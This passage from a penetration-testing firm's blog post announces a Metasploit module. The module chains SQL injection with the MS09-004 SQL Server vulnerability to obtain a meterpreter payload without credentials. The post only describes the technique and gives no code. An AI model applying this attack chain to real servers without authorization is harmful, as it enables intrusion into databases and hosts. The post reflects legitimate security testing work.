All indicated that the server was vulnerable to MS09-004 vulnerability. However, it was not possible to get direct access to the database. Moreover no authentication credentials were discovered during the course of the assessment.

This is how our newly released Metasploit module was born. We coded an extension which can be added to Metasploit to exploit this vulnerability using a SQL injection vulnerability with no need of using credentials, as the web application will authenticate in our behalf.

Penetration testing - SQL injection exploitation

Penetration testing - SQL injection exploitation

The screenshot above shows how to get meterpreter (or any other payload of your choice) exploiting the vulnerability from Metasploit.

If interested, get the scripts from our security tools area.

 
   
 
BLOG

Archives

July 2014
April 2014
March 2014
February 2014
August 2013
June 2013
February 2013
January 2013
December 2012
November 2012
October 2012
January 2012
October 2011
September 2011
July 2011
June 2011
April 2011
February 2011
January 2011
March 2009
February 2009
January 2009
December 2008
November 2008
October 2008

Categories

Aircraft security (1)
Business Continuity (2)
CREST (1)
cyber security (2)
Embedded devices security (2)
exploit (8)
Fuzzing (1)
Penetration Testing (41)
Phishing (3)
Risk Management (5)
SECFORCE (17)
Security architecture (2)
Security Books (1)
Security Compliance (1)
Security research (9)
social engineering (1)
social media (1)
sql injection (3)
SQL Server (3)
Tools (13)
Uncategorized (2)
Vulnerabilities (10)
 
SECFORCE - penetration testing
  SECFORCE - penetration testing Aegon House, 13 Lanark Square
Canary Wharf - E14 9QD, London
SECFORCE - penetration testing Direct Line +44 (0) 845 056 8694
E-mail SECFORCE - penetration testing
  Follow us in Twitter Check us out in LinkedIn SECFORCE is CREST certified. Click on the logo for more information ISO9001 ISO27001
SECFORCE - penetration testing
    Copyright (c) 2014 SECFORCE Ltd · All Rights Reserved